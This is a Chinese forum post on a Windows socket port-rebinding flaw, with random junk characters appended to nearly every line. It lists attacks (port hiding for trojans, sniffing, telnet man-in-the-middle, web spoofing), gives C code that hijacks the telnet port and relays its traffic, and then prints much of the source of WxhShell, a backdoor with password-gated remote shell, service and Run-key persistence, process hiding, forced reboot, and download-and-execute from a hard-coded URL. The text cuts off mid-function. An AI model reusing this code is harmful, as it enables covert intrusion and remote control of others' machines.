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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GYV%RD#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lN_b&92  
gj82qy\:  
  saddr.sin_family = AF_INET; -'Z-8  
J5}?<Dd:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z*.rv t  
Q>TNzh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jV#1d8qm  
R  xc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G9CL}=lJ,  
6dYa07  
  这意味着什么?意味着可以进行如下的攻击: iAXF;'|W  
0<nW nD,z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DN;$ ->>  
9+~1# |  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =27ZY Z  
' ?EG+o8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (i-L:  
Iv?1XI=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ix 5\Y  
[!4V_yOb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1czU$!MV  
sAjN<P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6ciA|J'MR  
LWV^'B_X-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'r} y{`3M  
G_xql_QR  
  #include Jjh=zxR>  
  #include VgMuX3=  
  #include 0kaMYV?  
  #include    Kp6%=JjO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3Q_)Xs r`  
  int main() )b,FE}YX  
  { hO(A_Bw  
  WORD wVersionRequested; ZC)m&V 1  
  DWORD ret; +>:[irf  
  WSADATA wsaData; (lvp-<*  
  BOOL val; _SQ]\Z  
  SOCKADDR_IN saddr; $Y%,?>AL<  
  SOCKADDR_IN scaddr; 3H%bbFy  
  int err; S~GS:E#  
  SOCKET s; 5E2T*EXSh  
  SOCKET sc; R%Xz3Z&|  
  int caddsize; ZsGJ[  
  HANDLE mt; LqS_%6^  
  DWORD tid;   %/RT}CBBsW  
  wVersionRequested = MAKEWORD( 2, 2 ); c\rP"y|S};  
  err = WSAStartup( wVersionRequested, &wsaData ); rC6EgWt<V  
  if ( err != 0 ) { wLo<gA6;  
  printf("error!WSAStartup failed!\n"); vh^?M#\  
  return -1; ,+FiP{`  
  } +aOX{1w  
  saddr.sin_family = AF_INET; 3*oZol/  
   m4G))||9Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K^%ONultv  
4"Mq]_D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LKst QP!I  
  saddr.sin_port = htons(23); B8zc#0!1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ` bZgw  
  { ^C;ULUn3  
  printf("error!socket failed!\n"); |43Oc:Ah+  
  return -1; 'NDr$Qc3  
  }  r^,"OM]  
  val = TRUE; #}[NleTVt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U+ V yH4"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y.::d9v  
  { iL'j9_w,  
  printf("error!setsockopt failed!\n"); l^rQo_alk  
  return -1; D~ 7W  
  } FMC]KXSd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {G{ >Qa|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ] m #*4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v+'*.Iv:  
{%6g6?=j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,j eC7-tX  
  { (ZQ?1Qxo  
  ret=GetLastError(); R HmT$^=  
  printf("error!bind failed!\n"); &cy<"y  
  return -1; Dc0CQGx9b  
  } eU\_m5xl"  
  listen(s,2); P3TM5  
  while(1) TmJXkR.5  
  { fj[Kbo 7!h  
  caddsize = sizeof(scaddr); j-t"  
  //接受连接请求 Uf~5Fc1d =  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LB^xdMXi  
  if(sc!=INVALID_SOCKET) MZ>Q Rf  
  { jH37{S-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y9B"yV  
  if(mt==NULL) 5)ooE   
  { a&B@F]+  
  printf("Thread Creat Failed!\n"); '>t'U?7w<  
  break; 5`q#~fJ2  
  } 1?,C d  
  } XjTu`?Na;  
  CloseHandle(mt); Xl E0oN~{  
  } -a7BVEFts  
  closesocket(s); d5n>2iO  
  WSACleanup(); lF\2a&YRbn  
  return 0; S(_DR 8  
  }   ?)7UqVyq  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'AZxR4W  
  {  J {$c|  
  SOCKET ss = (SOCKET)lpParam; kT:?1w'  
  SOCKET sc; c9+yU~(  
  unsigned char buf[4096]; </W"e!?X  
  SOCKADDR_IN saddr; @%r "7%tq>  
  long num; n_*.i1\'w  
  DWORD val; rGay~\  
  DWORD ret; gq~"Z[T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =0SJf 3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j2mMm/kq\  
  saddr.sin_family = AF_INET; Qki? >j"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I 1Yr{(ho  
  saddr.sin_port = htons(23); =tl~@~pqI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Px gul7  
  { _!9I f  
  printf("error!socket failed!\n"); Op hD_^  
  return -1; -:Bgp*S  
  } qpq(<  
  val = 100; A| y U'k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Gr@Mi5  
  { P[r$KGz  
  ret = GetLastError(); T NF  
  return -1; \ZBz]rh*  
  } WnA Y<hZ|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =Ea,8bpn  
  { {8,_[?H  
  ret = GetLastError(); Pav  
  return -1; SME]C') 7  
  } c,#Nd@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D H:9iX'  
  { Ti>}To}B5  
  printf("error!socket connect failed!\n"); +R"n_6N  
  closesocket(sc); IH.EvierJ  
  closesocket(ss); fr&p0)85>B  
  return -1; j_S3<wEJ  
  } *E-MJCv  
  while(1) =FfR?6 ~  
  { W3n[qVZIC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ( geV(zT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N]&hw&R{Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ruy?#rk  
  num = recv(ss,buf,4096,0); Y\F4  
  if(num>0) CiTWjE?|7  
  send(sc,buf,num,0); 9fsc>9  
  else if(num==0) Z 4c^6v  
  break; F1p|^hYDW  
  num = recv(sc,buf,4096,0); L+0:'p=  
  if(num>0) 9 7pnq1b  
  send(ss,buf,num,0); $paE6X^  
  else if(num==0) zbfe=J4c  
  break; m3XT8F*&  
  } (Z8wMy&:  
  closesocket(ss); ed#>q;jX  
  closesocket(sc); ?<^^.Si  
  return 0 ; n;y[%H!g  
  } aj-:JTf  
.GWN~iR(  
Hio+k^  
========================================================== M{p9b E[j  
bG+Gg*0p  
下边附上一个代码,,WXhSHELL IEWl I  
LYTnMrM  
========================================================== }TDq7-(g  
_B\87e  
#include "stdafx.h" qipS`:TER  
{vur9L  
#include <stdio.h> rym*W\AWx  
#include <string.h> tZ:fOM  
#include <windows.h> ACF_;4%&  
#include <winsock2.h> .:tR*Kst`7  
#include <winsvc.h> "WH &BhQYD  
#include <urlmon.h> ^UyN)eX  
{'#7b# DB>  
#pragma comment (lib, "Ws2_32.lib") }MtORqK  
#pragma comment (lib, "urlmon.lib") |V^f}5gd  
K] &GSro  
#define MAX_USER   100 // 最大客户端连接数 l>)+HoD  
#define BUF_SOCK   200 // sock buffer %m$t'?  
#define KEY_BUFF   255 // 输入 buffer Ad4-aWH  
|WW'qg]Uu  
#define REBOOT     0   // 重启 }{v0}-~@  
#define SHUTDOWN   1   // 关机 4 &0MB>m  
J$-1odL0Z  
#define DEF_PORT   5000 // 监听端口 Y>K8^GS  
nyOvB#f  
#define REG_LEN     16   // 注册表键长度 w<Iq:3  
#define SVC_LEN     80   // NT服务名长度 y tTppmJF  
~xc0Ky?8  
// 从dll定义API ~!_UDD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -#g0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .[Ny(X/]/}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Fc=F#tA9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {7Kl #b  
Zm#,Ike?#  
// wxhshell配置信息 '@"A{mrE  
struct WSCFG { RI BB*  
  int ws_port;         // 监听端口 +:u &]  
  char ws_passstr[REG_LEN]; // 口令 t`1~5#?Du(  
  int ws_autoins;       // 安装标记, 1=yes 0=no oOGFg3X  
  char ws_regname[REG_LEN]; // 注册表键名 u3HaWf3  
  char ws_svcname[REG_LEN]; // 服务名  0 - u,AD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pWKI^S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #?~G\Ux0/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Uy~O(F t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Po.izE!C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P+,YWp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #*G}v%Ow/u  
>jc17BJq  
}; !ce,^z&5  
E%$[*jZ  
// default Wxhshell configuration ictOC F  
struct WSCFG wscfg={DEF_PORT, _;-b ZH  
    "xuhuanlingzhe", (dym*_J  
    1, ^L'<%_# .  
    "Wxhshell", u#0EZ2 >#  
    "Wxhshell", j0S[JpoF  
            "WxhShell Service", ZOL#Q+U  
    "Wrsky Windows CmdShell Service", \G6V-W  
    "Please Input Your Password: ", +Xmza8T9  
  1, >9[wjB2?}  
  "http://www.wrsky.com/wxhshell.exe", b+$-f:mj  
  "Wxhshell.exe" Ljk0K3Q6>  
    }; GA.cp*2 ~  
Vtk}>I@%  
// 消息定义模块 bW zUWLa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^k!u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hlj3z3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M2nZ,I=l  
char *msg_ws_ext="\n\rExit."; 'A/ f>W  
char *msg_ws_end="\n\rQuit."; x^ sTGd  
char *msg_ws_boot="\n\rReboot..."; lsVg'k/Z!  
char *msg_ws_poff="\n\rShutdown..."; ~%sNPKjA  
char *msg_ws_down="\n\rSave to "; ] .c$(.  
qwo{34  
char *msg_ws_err="\n\rErr!"; ^0 /!:*?  
char *msg_ws_ok="\n\rOK!"; kqLpt  
'he&h4fm  
char ExeFile[MAX_PATH]; x!UGLL]_M  
int nUser = 0; ?)4c!3#  
HANDLE handles[MAX_USER]; Q>\9/DjUp  
int OsIsNt; 0|?DA12Z  
;AT~?o`n  
SERVICE_STATUS       serviceStatus; t s=+k/Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K ?V' ?s  
M'$?Jp#]}  
// 函数声明 weIlWxy  
int Install(void); )lVplAhZD  
int Uninstall(void); smX&B,&@  
int DownloadFile(char *sURL, SOCKET wsh); 7] 17?s]t,  
int Boot(int flag); "9;Ay@'B  
void HideProc(void); vFK(Dx  
int GetOsVer(void); SuA`F|7?P  
int Wxhshell(SOCKET wsl); 1(4IcIR5T;  
void TalkWithClient(void *cs); N'8}5Kx5  
int CmdShell(SOCKET sock); ))uki*UNK  
int StartFromService(void); 1@`mpm#Y  
int StartWxhshell(LPSTR lpCmdLine); wQX%*GbL2  
0f,Ii_k bT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <:~'s]`zf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d'p@[1/  
n Ayyjd3!S  
// 数据结构和表定义 lUHpGr|U%  
SERVICE_TABLE_ENTRY DispatchTable[] = 1@Rl^ey  
{ =z2g}X  
{wscfg.ws_svcname, NTServiceMain}, >8DZj&j  
{NULL, NULL} AHTQF#U^  
}; _({K6adb  
0EUC8Ni  
// 自我安装 '>UQsAvm  
int Install(void) 9K#U<Q0b'  
{ (M,*R v  
  char svExeFile[MAX_PATH]; .p\<niu7  
  HKEY key; o&rNM5:  
  strcpy(svExeFile,ExeFile); ;3N>m| ?D=  
m H&WoL<K  
// 如果是win9x系统,修改注册表设为自启动 h?&S*)1  
if(!OsIsNt) { [\)irCDv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gOn^}%4.I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }I#,o!)Vd  
  RegCloseKey(key);  Tv~Ys#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XNB4KjT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Su[f"2oR  
  RegCloseKey(key); Y_M3-H=0  
  return 0; x5!lnN,#  
    } J ?H| "  
  } P!lTK   
} hgF4PdO1e  
else { FQikFy(YY  
)cxML<j'  
// 如果是NT以上系统,安装为系统服务 H,U qU3b3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sTF Ru  
if (schSCManager!=0) )Jd{WC.  
{ m#t  
  SC_HANDLE schService = CreateService {b26DKkQS  
  ( Kv6#WN~  
  schSCManager, 98t|G5  
  wscfg.ws_svcname, PH]ui=  
  wscfg.ws_svcdisp, 2]-xmS>|b  
  SERVICE_ALL_ACCESS, j*@EJ"Gm>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /Wm3qlv  
  SERVICE_AUTO_START, -'::$ {  
  SERVICE_ERROR_NORMAL, )Xd2qbi  
  svExeFile, HiDL:14  
  NULL, |PW.CV0,  
  NULL, <Z9N}wY,8  
  NULL, F7qQrE5bl  
  NULL, sBWLgJz?C  
  NULL N^By#Z  
  ); "%{J$o  
  if (schService!=0) #wZBWTj.  
  { [}=/?(5  
  CloseServiceHandle(schService);  tvvRHvL  
  CloseServiceHandle(schSCManager); t[?O*>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9N{"ob Z  
  strcat(svExeFile,wscfg.ws_svcname); *6 1G<I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -S *MQA4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @1G`d53N  
  RegCloseKey(key); D*o[a#2_  
  return 0; 8i?h{G IMV  
    } h**mAa0fo  
  } ,#QLc  
  CloseServiceHandle(schSCManager); gIaPS0Q  
} }e0)=*;l  
} Zk75GC  
tz"zQC$  
return 1; b>"=kN/  
} PEHaH"|([=  
s9}VnNr  
// 自我卸载 00(#_($  
int Uninstall(void) 5_ioJ   
{ Xw[|$#QKM  
  HKEY key; XveG#oyiU  
8gI~x.k`  
if(!OsIsNt) { G[!Y6c 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,mW-O!$3W  
  RegDeleteValue(key,wscfg.ws_regname); 8t Ef>  
  RegCloseKey(key); ?g #4&z.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Yd]#K{$  
  RegDeleteValue(key,wscfg.ws_regname); {pW(@4U  
  RegCloseKey(key); q<*UeyE S  
  return 0; \hT=U*dMR  
  } ITu5Y"x  
}  Gu P1  
} 60&4?<lR4  
else { 9a0ibN6m  
d 1bx5U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #-Nc1+gu   
if (schSCManager!=0) >@NGX-gp  
{ $mp'/]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b(.,Ex]  
  if (schService!=0) G Za<  
  { V;-YM W  
  if(DeleteService(schService)!=0) { gzD NMM  
  CloseServiceHandle(schService); ykbTWp$Y4Z  
  CloseServiceHandle(schSCManager); Me e+bp  
  return 0; >rb8A6  
  } ^%r>f@h!L  
  CloseServiceHandle(schService); =jN9PzLk  
  } WGrG#Kw[  
  CloseServiceHandle(schSCManager); b];? tP  
} "G3zl{?GP  
} B '"RKs]  
S;FgS:;  
return 1; 8h| 9;%  
} |ydOi&  
X0QLT:J b  
// 从指定url下载文件 9F^rXY.  
int DownloadFile(char *sURL, SOCKET wsh) El)WjcmH  
{ G*lkVQ6?  
  HRESULT hr; ^|0>&sTHOH  
char seps[]= "/"; ?yqTLj  
char *token; )0W-S9e<  
char *file; urK[v  
char myURL[MAX_PATH]; *nh.&Mv|  
char myFILE[MAX_PATH]; 2gnmk TyF  
K9(Su`zr  
strcpy(myURL,sURL); ^sA"&Vdr^  
  token=strtok(myURL,seps); ,S7 g=(27(  
  while(token!=NULL) KDzTe9  
  { 2XN];,{  
    file=token; ayvHS&h  
  token=strtok(NULL,seps); 8 k%!1dyMB  
  } %+,7=Wt-  
J(JqusQd !  
GetCurrentDirectory(MAX_PATH,myFILE); ^7 oXJu=  
strcat(myFILE, "\\"); 9 L^:N)-  
strcat(myFILE, file);  + Y  
  send(wsh,myFILE,strlen(myFILE),0); U F ]g6u  
send(wsh,"...",3,0); XV> )[Nd\H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P<<hg3@  
  if(hr==S_OK) >X"V  
return 0; ~HH6=qjU)  
else ;5fq[v^P:  
return 1; y! lEGA7  
BRg(h3 ED  
} C_JDQByfL  
O$Z<R:vVA  
// 系统电源模块 L93KsI  
int Boot(int flag) _(Qec?[^Ps  
{ fq2t^c|$  
  HANDLE hToken; WKB8k-.]ww  
  TOKEN_PRIVILEGES tkp; }dt7n65  
6 -\ghPo  
  if(OsIsNt) { Fl'+ C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,:e##g~k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7sci&!.2`  
    tkp.PrivilegeCount = 1; ,`ZIW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +bbhm0f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i!jR>+  
if(flag==REBOOT) { lrXi *u]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .^%!X!r  
  return 0; _Bh ^<D-  
} CQ+WBTiC  
else { ZV; lr Vv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s28rj6q  
  return 0; '[nH] N  
} 2}^fhMS  
  } yA/b7x-c  
  else { ~A5MzrvIO2  
if(flag==REBOOT) { ATb[/=hP<R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e viv,  
  return 0; .jfkOt?2  
} _ IqUp Y  
else { Jn>6y:s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jt3]'Nr04@  
  return 0; Nd"4*l;  
} lQolE P.pc  
} zu~E}  
wSMP^kG  
return 1; /5y*ZIq]e  
} ]^63n/Twj  
2sOV3~bB  
// win9x进程隐藏模块   vZQ'  
void HideProc(void) uNV\_'9>Y  
{ p+;[i%`  
QlHxdRK`.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A\jX#gg  
  if ( hKernel != NULL ) RU1+ -   
  { N!fTt,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +H7lkbW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _p~lL<q-K[  
    FreeLibrary(hKernel); JY|f zL  
  } ];.H]TIc6  
Xy>+r[$D:  
return; '7!b#if  
} D-[` wCa,  
O<1qU M  
// 获取操作系统版本 V _&>0P{q  
int GetOsVer(void) X$L9 kZ  
{ \Ami-<T  
  OSVERSIONINFO winfo; y3 R+060\3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L;7x2&  
  GetVersionEx(&winfo); T-: @p>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YmS}*>oz  
  return 1; f ,?P1D\  
  else ]&')# YO  
  return 0; Ig hd,G-  
} `(r [BV|h}  
gsqpQq7  
// 客户端句柄模块 yJ(p-3O5  
int Wxhshell(SOCKET wsl) M mjeFv  
{ RE72%w(oM  
  SOCKET wsh; 26c,hPIeXY  
  struct sockaddr_in client; V0,%g+.^  
  DWORD myID; Qg\OJmv  
JY+ N+c\  
  while(nUser<MAX_USER) tntQO!pM  
{ q&h&GZ  
  int nSize=sizeof(client); oCBZ9PGkK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }=':)?'-.  
  if(wsh==INVALID_SOCKET) return 1; ,<[Q/:}[  
|G+6R-_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0$-N  
if(handles[nUser]==0) cMCGaaLU  
  closesocket(wsh); poqcoSL"}  
else r.5}Q?  
  nUser++; _`/: gkZS  
  } 'nOc_b0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ltKUpRE\?  
gg>O:np8  
  return 0; DA5kox&cU  
} Z\{"/( Hi  
Ut;, Z  
// 关闭 socket ".9 b}}  
void CloseIt(SOCKET wsh) nMK,g>wp  
{ HMQi:s7%  
closesocket(wsh); q1Ja*=r  
nUser--; ?h;Zdv>`xz  
ExitThread(0); ~bp^Q| wM  
} jpl"KN?X  
H1]An'qz,  
// 客户端请求句柄 q;dg,Om  
void TalkWithClient(void *cs) wt;7+  
{ *CHLs^)   
8y-Sd\0g  
  SOCKET wsh=(SOCKET)cs; +mReWf:o  
  char pwd[SVC_LEN]; 'WEypz  
  char cmd[KEY_BUFF]; u? a*bW  
char chr[1]; s3+^q  
int i,j; [xF(t @p  
x \.q zi  
  while (nUser < MAX_USER) { vJheM*C  
|U*wMYC  
if(wscfg.ws_passstr) { !2)$lM1@J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SjT8 eH #  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3d qj:4[f  
  //ZeroMemory(pwd,KEY_BUFF); ,k*g `OTW  
      i=0; l2))StEm  
  while(i<SVC_LEN) { WUQlAsme  
YQyf:xJ  
  // 设置超时 ~ kdxJP"  
  fd_set FdRead; 5]/i[T_  
  struct timeval TimeOut; bk@F/KqL  
  FD_ZERO(&FdRead); ~bSPtH ]6d  
  FD_SET(wsh,&FdRead); G@Z,Hbgm  
  TimeOut.tv_sec=8; N`FgjnQ`  
  TimeOut.tv_usec=0; "XWrd [Df  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CNCWxu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cv@ZzILyoK  
.w/_Om4T*b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K:!|xr(1d  
  pwd=chr[0]; `'Fz :i  
  if(chr[0]==0xd || chr[0]==0xa) { A4lh`n5%  
  pwd=0; -6(u09mb_  
  break; )z'LXy8  
  } >[]@Df,p  
  i++; l$ABOtM@  
    } |Co ?uv i  
fVlTsc|e  
  // 如果是非法用户,关闭 socket n\f8%z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |p"P+"#  
}  ~yQby&s  
wb@TYvDt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d4Y8q1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |!VSed#FSn  
`GsFvxz  
while(1) { Sm6hyZFy  
39jnoT  
  ZeroMemory(cmd,KEY_BUFF); FL}k0  
6I0G.N  
      // 自动支持客户端 telnet标准   *Uvh;d{  
  j=0; H 1`}3}"  
  while(j<KEY_BUFF) { otQulL)T/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;A ~efC^<  
  cmd[j]=chr[0]; Tw|cgB  
  if(chr[0]==0xa || chr[0]==0xd) { 3<ikMUq&  
  cmd[j]=0; O s*B%,}  
  break; h rL_. 4  
  } 0_d,sC?V  
  j++; gOkq>i_  
    } jmgU'w-s  
NwH`t#zd  
  // 下载文件 3urL*Fw,  
  if(strstr(cmd,"http://")) { %:bTOw[4r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ][b_l(r$?  
  if(DownloadFile(cmd,wsh)) !a"RHg:HO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v%_5!SR  
  else Tx)X\&ij&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d<uOCf\Q  
  } u{F^Ngy )  
  else { F!FXZht$P  
ykY#Y}?^  
    switch(cmd[0]) { 0'Kbh$LU  
  r;gtfX*  
  // 帮助 DA)mkp  
  case '?': { <ob+Ano$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t{\,vI  
    break; {ZiZ$itf  
  } 9C?;'  
  // 安装 )<w`E{q  
  case 'i': { 6\MH2&L<  
    if(Install()) a!Z.ZA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,3Yt~\m  
    else Ij+ E/V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~&>|u5C*@  
    break; Rj&V~or  
    } g. V6:>,  
  // 卸载 2hOr#I$/  
  case 'r': { yH\z+A|  
    if(Uninstall()) E^uWlUb{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7M~w05tPh  
    else 5(@P1Bi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }yde9b?F  
    break; >heFdKq1  
    }  nwH'E  
  // 显示 wxhshell 所在路径 ]#n,DU}V  
  case 'p': { nJ !`^X5I  
    char svExeFile[MAX_PATH]; qA4w*{JN  
    strcpy(svExeFile,"\n\r"); t@K N+ C  
      strcat(svExeFile,ExeFile); h^{D "  
        send(wsh,svExeFile,strlen(svExeFile),0); &X 0qH8W  
    break; }O+F#/6  
    } %O$4da"y  
  // 重启 u`Ew^-">  
  case 'b': {  2=X\G~a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?NV3]vl  
    if(Boot(REBOOT)) $S~e"ca1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jD@KG  
    else { 2rS|V|d  
    closesocket(wsh); |Qq_;x]  
    ExitThread(0); obUX7N  
    } i3T]<&+j5  
    break; dW3q  
    } 1aC ?*,e?  
  // 关机 7x *]  
  case 'd': { !<psK[  
